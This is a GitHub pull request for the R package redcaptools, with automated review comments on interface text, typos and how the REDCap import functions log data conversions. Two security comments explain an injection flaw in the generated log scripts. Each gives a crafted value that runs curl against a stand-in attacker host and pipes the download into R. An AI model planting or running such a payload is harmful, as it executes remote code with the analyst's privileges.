improving redcap_import_select and redcap_import_recode by DominikGuentensperger · Pull Request #30 · CTU-Bern/redcaptools

DominikGuentensperger · 2025-12-23T09:18:16Z

No description provided.

…red prompts, adjustable batches of vars, adjustable auto-options,...)

Copilot

Pull request overview

This pull request improves two key REDCap import functions by standardizing parameter naming, enhancing the user interface with color-coded prompts, and adding new functionality for batch processing. The changes aim to make the functions more user-friendly and maintainable.

Key changes include:

Standardizing parameter names from import_data/selected_data to input_data across both functions
Adding a batch_size parameter to redcap_import_select for displaying REDCap variables in manageable batches
Replacing numeric input prompts (0/1) with more intuitive letter-based options (y/n) throughout the interactive interface
Enhancing visual feedback with color-coded prompts using additional crayon imports (green, yellow, magenta, strip_style)

Reviewed changes

Copilot reviewed 8 out of 8 changed files in this pull request and generated 8 comments.

Show a summary per file

File	Description
man/redcap_import_select.Rd	Updates documentation for parameter rename and adds batch_size parameter description
man/redcap_import_recode.Rd	Updates documentation for parameter rename from selected_data to input_data
R/reformat.R	Comments out debug print statement in redcap_prep_datetimes
R/redcap_import_select.R	Major refactoring with parameter rename, batch processing feature, improved UI with color prompts, and runtime adjustments for similarity/batch settings
R/redcap_import_recode.R	Parameter rename, improved UI with color prompts, enhanced user messages, and better formatting for tables
NEWS.md	Adds version 0.5.2 entry documenting bug-fixes and readability improvements
NAMESPACE	Adds new crayon imports (green, yellow, magenta, strip_style) for enhanced UI
DESCRIPTION	Updates package version from 0.5.1 to 0.5.2

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Copilot · 2026-01-06T10:22:53Z

R/redcap_import_select.R

+      # compares var name to data dictionary field names
      if (!any(str_detect(rc_vars$field_name,paste0("^",imp_vars[i],"$")))) {
-        if(!suppress_txt) cat(paste("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")
+        if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")


Missing space after the comma. The output will read 'Variable nameNOT found in REDCap:' instead of 'Variable name NOT found in REDCap:'. Add a space before 'underline("NOT")' or after the comma.

Suggested change

if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")

if(!suppress_txt) cat(paste0("\nVariable name ", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")

Copilot · 2026-01-06T10:22:54Z

R/redcap_import_select.R

+      # compares var name to data dictionary field names
      if (any(str_detect(rc_vars$field_name,paste0("^",imp_vars[i],"$")))) {
-        if(!suppress_txt) cat(paste("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i])))))
+        if(!suppress_txt) cat(paste0("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i])))))


Missing space after the colon. The output will read 'Variable name found in REDCap:variable_name' instead of 'Variable name found in REDCap: variable_name'. Add a space after the colon in the string.

Suggested change

if(!suppress_txt) cat(paste0("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i])))))

if(!suppress_txt) cat(paste0("\nVariable name found in REDCap: ", blue(bold(underline(imp_vars[i])))))

Copilot · 2026-01-06T10:22:54Z

R/redcap_import_recode.R

+        cat("\nPlease check your answer!")
+        cat(paste0("\nType ",green(bold("y")), " and press Enter to continue."))
+        cat(paste0("\nPress ",red(bold("ESC"))," to stop.\n"))
        intor_ans <- ""


There's a typo in the variable name: intor_ans should be intro_ans. This will cause the variable to be undefined, since intro_ans is the one being checked in the while loop condition.

Suggested change

intor_ans <- ""

intro_ans <- ""

Copilot · 2026-01-06T10:22:54Z

R/redcap_import_recode.R


-              auto_recode_precision <- readline(prompt="Answer: ")
+              cat(paste0("\nCurrent similarity index: ",auto_recode_precision))
+              new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ")


The typo 'similariy' should be 'similarity'. This appears in a user-facing prompt asking for input.

Suggested change

new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ")

new_sim <- readline(prompt="Please enter a new similarity index between 0 and 1: ")

Copilot · 2026-01-06T10:22:55Z

R/redcap_import_select.R

+        # skip
+        if (match_ans == 'skip') {
+          what_to_do <- "no_select"
+          out_txt <- italic("Variable will not be be selected!")


There's an unnecessary 'be' repeated in the sentence. It should read 'Variable will not be selected!' instead of 'Variable will not be be selected!'.

Suggested change

out_txt <- italic("Variable will not be be selected!")

out_txt <- italic("Variable will not be selected!")

Copilot · 2026-01-06T10:22:55Z

R/redcap_import_select.R

+            }
+            Sys.sleep(wait)
+
+            cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?")


Missing space after 'for'. The output will read 'What would you like to do forvariable_name?' instead of 'What would you like to do for variable_name?'. Add a space at the end of the string before the closing quote.

Suggested change

cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?")

cat(paste0("\n\nWhat would you like to do for ", blue(bold(underline(imp_vars[i])))),"?")

Copilot · 2026-01-06T10:22:55Z

R/redcap_import_select.R

+          cat(prhelp(green(bold("y")),"YES, select variable without renaming."))
+          cat(prhelp(yellow(bold("n")),"NO, rename the variable."))
+          cat(prhelp(yellow("skip"),"do NOT select variable and move to next item"))
+          cat(prhelp(red("exit"),"do NOT select variable and stop loop"))


The prhelp function is designed to print output directly with cat(), but it's being called inside another cat() statement. This will result in NULL being passed to the outer cat() and the prhelp output appearing separately. Either remove the outer cat() calls or modify prhelp to return a string instead of printing directly.

Copilot · 2026-01-06T10:22:56Z

R/redcap_import_recode.R

+            cat(prhelp(green(bold("y")),"YES, convert as suggested."))
+            cat(prhelp(yellow(bold("n")),"NO, convert manually."))
+            cat(prhelp(red("skip"),"do NOT convert and move to next variable."))
+            cat(prhelp(red("exit"),"do NOT convert and stop loop."))


The prhelp function is designed to print output directly with cat(), but it's being called inside another cat() statement. This will result in NULL being passed to the outer cat() and the prhelp output appearing separately. Either remove the outer cat() calls or modify prhelp to return a string instead of printing directly.

…ptools

Copilot

Pull request overview

Copilot reviewed 9 out of 9 changed files in this pull request and generated 9 comments.

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Copilot · 2026-01-06T12:52:08Z

R/redcap_import_recode.R

-                cat("\n 'skip' = skip this variable")
-                cat("\n 'exit' = stop loop, exit code")
+                cat("\nPlease check your answer!")
+                cat("\n\nChoose an option (type and press Enter):\n")


There's a typo "of" should be "off" in the comment. The comment says "turn on/of auto skipping" but should say "turn on/off auto skipping".

Copilot · 2026-01-06T12:52:09Z

R/redcap_import_select.R

+        break
+      }
+
+      ### turn on/off auto selecting ----


The comment has a typo: "of" should be "off". The comment should read "turn on/off auto selecting" instead of "turn on/of auto selecting".

Copilot · 2026-01-06T12:52:09Z

R/redcap_import_recode.R

+              converted_var <- if_else(round(as.numeric(var)) %% 1 == 0 &
+                                         as.numeric(var) >= rc_min &
+                                         as.numeric(var) <= rc_max,
+                                       as.integer(var),NA)


The condition round(as.numeric(var)) %% 1 == 0 is redundant because round() always produces an integer value when applied to a number, making the modulo check always true. The condition can be simplified to just check the range: if_else(as.numeric(var) >= rc_min & as.numeric(var) <= rc_max, as.integer(round(as.numeric(var))), NA). This same redundancy exists in the integer conversion at line 869.

Suggested change

converted_var <- if_else(round(as.numeric(var)) %% 1 == 0 &

as.numeric(var) >= rc_min &

as.numeric(var) <= rc_max,

as.integer(var),NA)

converted_var <- if_else(as.numeric(var) >= rc_min &

as.numeric(var) <= rc_max,

as.integer(round(as.numeric(var))), NA)

Copilot · 2026-01-06T12:52:09Z

R/redcap_import_recode.R

            if (change_round) {
              converted_var <- if_else(round(as.numeric(var)) %% 1 == 0,as.integer(var),NA)
-              log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
+              log_default <- paste0("as.character(as.integer(",name,"))")


The log_default doesn't match the actual conversion logic when change_round is TRUE. The code converts using as.integer(var) but should use as.integer(round(as.numeric(var))) to match what's actually being done in the if_else statement. This applies to both the slider conversion (line 1055) and the integer conversion (line 870).

Copilot · 2026-01-06T12:52:10Z

R/redcap_import_select.R

+          cat("\n\nChoose an option (type and press Enter):\n")
+          prhelp(green(bold("y")),"YES, select variable without renaming.")
+          prhelp(yellow(bold("n")),"NO, rename the variable.")
+          prhelp(yellow("skip"),"do NOT select variable and move to next item")


The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages in the codebase. Throughout the rest of the code, "variable" is used instead of "item" when referring to the loop iteration.

Copilot · 2026-01-06T12:52:10Z

R/redcap_import_select.R

+              cat("\n\nChoose an option (type and press Enter):\n")
+              prhelp(green(bold("y")),"YES, select variable without renaming.")
+              prhelp(yellow(bold("n")),"NO, rename the variable.")
+              prhelp(yellow("skip"),"do NOT select variable and move to next item")


The option description says "move to next item" but should say "move to next variable" for consistency. The same inconsistency appears in lines 323, 404, and 438 where "item" should be "variable".

Copilot · 2026-01-06T12:52:10Z

R/redcap_import_select.R

+            cat("\n\nChoose an option (type and press Enter):\n")
+            cat(paste0("To ",green("rename")," the variable, type the field name or choose the respective number from the list above!\n"))
+            prhelp(yellow("select"),"select the variable anyway (without renaming)",14)
+            prhelp(yellow("skip"),"do NOT select variable and move to next item",14)


The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages throughout the codebase.

Copilot · 2026-01-06T12:52:10Z

R/redcap_import_select.R

+                cat("\n\nChoose an option (type and press Enter):\n")
+                cat(paste0("To ",green("rename")," the variable, type the field name or choose the respective number from the list above!\n"))
+                prhelp(yellow("select"),"select the variable anyway (without renaming)",14)
+                prhelp(yellow("skip"),"do NOT select variable and move to next item",14)


The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages throughout the codebase.

Suggested change

prhelp(yellow("skip"),"do NOT select variable and move to next item",14)

prhelp(yellow("skip"),"do NOT select variable and move to next variable",14)

Copilot · 2026-01-06T12:52:10Z

R/redcap_import_recode.R

+                                         as.numeric(var) >= rc_min &
+                                         as.numeric(var) <= rc_max,
+                                       as.integer(var),NA)
+              log_default <- paste0("as.character(as.integer(",name,"))")


The log_default doesn't match the actual conversion logic when change_round is TRUE. The code converts using as.integer(var) but should use as.integer(round(as.numeric(var))) to match what's actually being done in the if_else statement at line 1051-1054.

Suggested change

log_default <- paste0("as.character(as.integer(",name,"))")

log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

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Copilot

Pull request overview

Copilot reviewed 9 out of 9 changed files in this pull request and generated 6 comments.

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Copilot · 2026-01-06T13:31:17Z

R/redcap_import_recode.R

                                 ...) {

  field_name <- field_type <- select_choices_or_calculations <- text_validation_type_or_show_slider_number <- field_label <- text_validation_min <- text_validation_max <- value <- n <- NULL
+  intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- ""


The variable initialization for intro_ans and other answer variables sets them to empty strings, but several while loops check against numeric values (e.g., while (intro_ans != 1)). This creates a type mismatch where a string "" is compared to numeric 1, which may not behave as intended. Consider initializing these variables as NA or ensuring consistent type usage throughout.

Suggested change

intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- ""

intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- NA

Copilot · 2026-01-06T13:31:17Z

R/redcap_import_recode.R

+                                         as.numeric(var) >= rc_min &
+                                         as.numeric(var) <= rc_max,
+                                       as.integer(var),NA)
+              log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")


The logged code for slider conversion with rounding (line 1055) does not include the min/max bounds validation that is actually performed in the conversion logic (lines 1052-1053). The logged code should reflect the actual conversion logic including the bounds check, otherwise users who reuse the logged code will get different results.

Suggested change

log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

log_default <- paste0("as.character(ifelse(is.numeric(", name, ") & as.numeric(", name, ") >= ", rc_min, " & as.numeric(", name, ") <= ", rc_max, ", as.integer(", name, "), NA))")

Copilot · 2026-01-06T13:31:18Z

R/redcap_import_recode.R

    while (intro_ans != 1) {
-      intro_ans <- readline(prompt="Answer: ")
+      intro_ans <- readline(prompt="Type '1' to continue: ")
      if (intro_ans != 1) {
-        cat("Please check your answer! \n 1 = YES\n'esc' = STOP")
-        intor_ans <- ""
+        cat("\nPlease check your answer! (Press 'ESC' to cancel)")
+      }


The while loop condition checks if intro_ans != 1 (numeric), but intro_ans is initialized as an empty string "". The readline() function returns a string, so the comparison will be between string values and numeric 1. This creates a type mismatch that may cause unexpected behavior. The second intro prompt (lines 382-390) correctly uses string comparison with "y", but this first prompt should also be updated to use consistent string comparisons or intro_ans should be initialized differently.

Copilot · 2026-01-06T13:31:18Z

R/redcap_import_recode.R

+            prhelp(green(bold("y")),"YES, recode as suggested")
+            prhelp(yellow(bold("n")),"NO, recode manually")
+            if (nrow(sugg_coding) > 0) {
+              prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions")


Inconsistent terminology: the option description says "change precision of matching" but on line 1748 it says "change similarity index". Using "similarity index" consistently would be clearer since that's the term used elsewhere in the code and documentation.

Suggested change

prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions")

prhelp(yellow(bold("p")),"change similarity index for the recoding suggestions")

Copilot · 2026-01-06T13:31:18Z

R/redcap_import_recode.R


            if (change_round) {
-              converted_var <- if_else(round(as.numeric(var)) %% 1 == 0,as.integer(var),NA)
+              converted_var <- if_else(is.numeric(var),as.integer(var),NA)


The condition uses is.numeric(var) which returns a single TRUE/FALSE for the entire vector, not element-wise evaluation. This means all elements will be treated the same way based on the vector's type, rather than checking each element individually. This is likely intentional if var is already known to be a numeric vector at this point, but if var could contain mixed types or NA values that need different handling, this logic may not work as expected. The same pattern appears in the slider conversion code at line 1051.

Suggested change

converted_var <- if_else(is.numeric(var),as.integer(var),NA)

converted_var <- as.integer(round(as.numeric(var)))

Copilot · 2026-01-06T13:31:18Z

R/redcap_import_recode.R

+          prhelp(yellow(bold("r")),"round values with more decimal places than permitted",15)
+        }
+        if(conv_to %in% c("time_hm","dt")) {
+          prhelp(yellow(bold("r")),"remove time information that is not required",15)


Typo in error message: "unneccessary" should be "unnecessary" (single 'c').

…ptools

Copilot

Pull request overview

Copilot reviewed 9 out of 9 changed files in this pull request and generated 4 comments.

Comments suppressed due to low confidence (2)

R/redcap_import_select.R:727

imp_vars[i] (column names from input_data) are concatenated directly into R code strings written to log_code via write.table, for example in the no_rename and rename branches, creating executable code that depends on untrusted data. If input_data comes from an external file (e.g., CSV headers supplied by another party), a crafted column name like x); system("curl https://attacker/evil.R | R"); # will be embedded into the generated script and run if a user later sources or copy-pastes the log, enabling arbitrary R code execution with the analyst's privileges. To mitigate this, avoid generating executable R from raw column names (or ensure they are strictly validated/escaped into safe identifiers before logging) so that logs treat these values as data rather than code.

            write.table(paste0(", ",imp_vars[i]), log_code, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
            write.table(paste("",imp_vars[i],"x","","-", sep = ","), log_table, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
          }
        }



        ## rename ----
        if (what_to_do == "rename") {
          vars_rename[[length(vars_rename)+1]] <- imp_vars[i]
          names(vars_rename)[length(vars_rename)] <- new_name
          rc_vars <- filter(rc_vars,field_name != new_name)

          if(log) {
            write.table(paste0(", ",new_name," = ",imp_vars[i]), log_code, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)

R/redcap_import_recode.R:2003

In the manual recoding branch, the data value lvl is again concatenated directly into R code strings stored in log_recode_code (e.g., ", '" + lvl + "' ~ '" + lvl + "'" or ", '" + lvl + "' ~ NA), which are written into the log_codescript. Becauselvlcomes from actual data values ininput_data(potentially supplied by REDCap respondents or external files), a malicious value containing quotes and R syntax (such asvalue'); system('curl https://attacker/evil.R | R'); #) will be turned into executable R when the analyst later sources or copies the log, leading to arbitrary code execution. The code generation for log_code` should either avoid embedding raw data values at all or must rigorously escape/quote them so that untrusted strings cannot terminate the literal and inject additional R expressions.

              log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ '",lvl,"'"))
              log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",",gsub(","," ",lvl)))
              next
            }

            # set to missing
            if (rec_ans == 'empty') {

              # empty cells
              if (l == 1 & any(empty_cells)) {
                recoded_var <- recoded_var
                log_recode_code <- c(log_recode_code,", NA ~ NA")
                log_recode_table <- c(log_recode_table,",,(empty),(empty)")

                # any other value
              } else {
                levels(recoded_var)[which(levels(recoded_var) == lvl)] <- NA
                log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ NA"))
                log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",(empty)"))
              }
            }


            # recode
            if (any(str_detect(coded_options$code,paste0("^",rec_ans,"$")))) {

              # empty cells
              if (l == 1 & any(empty_cells)) {
                recoded_var <- as.character(recoded_var)
                recoded_var[is.na(recoded_var)] <- rec_ans
                recoded_var <- as.factor(recoded_var)

                log_recode_code <- c(log_recode_code,paste0(", NA ~ '",rec_ans,"'"))
                log_recode_table <- c(log_recode_table,paste0(",,(empty),",rec_ans))

                # any other value
              } else {
                levels(recoded_var)[which(levels(recoded_var) == lvl)] <- rec_ans
                log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ '",rec_ans,"'"))
                log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",",rec_ans))

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Copilot · 2026-01-06T14:30:59Z

R/redcap_import_recode.R

+              log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
+
+            } else {
+              converted_var <- if_else(as.numeric(var) %% 1 == 0 &
+                                         as.numeric(var) >= rc_min &
+                                         as.numeric(var) <= rc_max,
+                                       as.integer(var),NA)
+              log_default <- paste0("as.character(as.integer(",name,"))")


The logged code does not include the min/max validation checks that are applied in the actual conversion (lines 1052-1053). The log should reflect the complete conversion logic to ensure reproducibility. Consider including the range validation in the logged code or documenting why it's omitted.

Suggested change

log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

} else {

converted_var <- if_else(as.numeric(var) %% 1 == 0 &

as.numeric(var) >= rc_min &

as.numeric(var) <= rc_max,

as.integer(var),NA)

log_default <- paste0("as.character(as.integer(",name,"))")

log_default <- paste0(

"as.character(ifelse(round(as.numeric(", name, ")) %% 1 == 0 & ",

"as.numeric(", name, ") >= rc_min & ",

"as.numeric(", name, ") <= rc_max, ",

"as.integer(", name, "), NA))"

)

} else {

converted_var <- if_else(as.numeric(var) %% 1 == 0 &

as.numeric(var) >= rc_min &

as.numeric(var) <= rc_max,

as.integer(var),NA)

log_default <- paste0(

"as.character(ifelse(as.numeric(", name, ") %% 1 == 0 & ",

"as.numeric(", name, ") >= rc_min & ",

"as.numeric(", name, ") <= rc_max, ",

"as.integer(", name, "), NA))"

)

Copilot · 2026-01-06T14:30:59Z

R/redcap_import_recode.R

+              log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
+
+            } else {
+              converted_var <- if_else(as.numeric(var) %% 1 == 0 &
+                                         as.numeric(var) >= rc_min &
+                                         as.numeric(var) <= rc_max,
+                                       as.integer(var),NA)
+              log_default <- paste0("as.character(as.integer(",name,"))")


The logged code does not include the min/max validation checks that are applied in the actual conversion (lines 1058-1060). The log should reflect the complete conversion logic to ensure reproducibility. Consider including the range validation in the logged code or documenting why it's omitted.

Suggested change

log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

} else {

converted_var <- if_else(as.numeric(var) %% 1 == 0 &

as.numeric(var) >= rc_min &

as.numeric(var) <= rc_max,

as.integer(var),NA)

log_default <- paste0("as.character(as.integer(",name,"))")

log_default <- paste0(

"ifelse(round(as.numeric(", name, ")) %% 1 == 0 & ",

"as.numeric(", name, ") >= ", rc_min, " & ",

"as.numeric(", name, ") <= ", rc_max, ", ",

"as.character(as.integer(round(as.numeric(", name, ")))), NA)"

)

} else {

converted_var <- if_else(as.numeric(var) %% 1 == 0 &

as.numeric(var) >= rc_min &

as.numeric(var) <= rc_max,

as.integer(var),NA)

log_default <- paste0(

"ifelse(as.numeric(", name, ") %% 1 == 0 & ",

"as.numeric(", name, ") >= ", rc_min, " & ",

"as.numeric(", name, ") <= ", rc_max, ", ",

"as.character(as.integer(", name, ")), NA)"

)

Copilot · 2026-01-06T14:31:00Z

R/redcap_import_recode.R

-      if (contconv_ans == '4') {
+      if (contconv_ans == 'd') {

        # set change_pot_miss to TRUE so that conversion-part is skipped


The comment incorrectly states "set change_pot_miss to TRUE" but the code actually sets "change_cb_delims" to TRUE. The comment should be corrected to match the actual variable being set.

Suggested change

# set change_pot_miss to TRUE so that conversion-part is skipped

# set change_cb_delims to TRUE so that conversion-part is skipped

Copilot · 2026-01-06T14:31:00Z

R/redcap_import_select.R

+          prhelp(green(bold("y")),"YES, select variable without renaming.")
+          prhelp(yellow(bold("n")),"NO, rename the variable.")
+          prhelp(yellow("skip"),"do NOT select variable and move to next variable")
+          prhelp(red("exit"),"do NOT select variable and stop loop")


Inconsistent punctuation in user-facing messages. Lines 303-304 end with periods, while lines 305-306 do not. For consistency and better user experience, all option descriptions should follow the same punctuation pattern.

DominikGuentensperger and others added 5 commits November 21, 2025 15:24

bug fix redcap_import_select

6d67ffd

fixed to generate no output while testing

6809055

improve redcap_import_select: fix bugs, improve user experience (colo…

7cc5af9

…red prompts, adjustable batches of vars, adjustable auto-options,...)

improve redcap_import_recode: fix bugs, improve user experience

c509055

Merge branch 'CTU-Bern:main' into main

d7c2b55

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DominikGuentensperger added 2 commits January 6, 2026 13:20

improve redcap_import_recode: fix bugs, improve user experience

40031c0

Merge branch 'main' of https://github.com/DominikGuentensperger/redca…

940a0c9

…ptools

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DominikGuentensperger added 2 commits January 6, 2026 14:15

Merge branch 'main' of https://github.com/DominikGuentensperger/redca…

53e2834

…ptools

Merge branch 'main' of https://github.com/DominikGuentensperger/redca…

69c8681

…ptools

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DominikGuentensperger added 2 commits January 6, 2026 14:58

Merge branch 'main' of https://github.com/DominikGuentensperger/redca…

8249a03

…ptools

Merge branch 'main' of https://github.com/DominikGuentensperger/redca…

05b5f36

…ptools

aghaynes requested a review from Copilot January 6, 2026 14:21

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reply to PR CTU-Bern#30

1e2fc76

aghaynes merged commit e1d2501 into CTU-Bern:main Jan 8, 2026
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	if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")
	if(!suppress_txt) cat(paste0("\nVariable name ", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")

	new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ")
	new_sim <- readline(prompt="Please enter a new similarity index between 0 and 1: ")

	out_txt <- italic("Variable will not be be selected!")
	out_txt <- italic("Variable will not be selected!")

	cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?")
	cat(paste0("\n\nWhat would you like to do for ", blue(bold(underline(imp_vars[i])))),"?")

	prhelp(yellow("skip"),"do NOT select variable and move to next item",14)
	prhelp(yellow("skip"),"do NOT select variable and move to next variable",14)

	log_default <- paste0("as.character(as.integer(",name,"))")
	log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

	intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- ""
	intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- NA

	log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
	log_default <- paste0("as.character(ifelse(is.numeric(", name, ") & as.numeric(", name, ") >= ", rc_min, " & as.numeric(", name, ") <= ", rc_max, ", as.integer(", name, "), NA))")

	prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions")
	prhelp(yellow(bold("p")),"change similarity index for the recoding suggestions")

	converted_var <- if_else(is.numeric(var),as.integer(var),NA)
	converted_var <- as.integer(round(as.numeric(var)))

	# set change_pot_miss to TRUE so that conversion-part is skipped
	# set change_cb_delims to TRUE so that conversion-part is skipped

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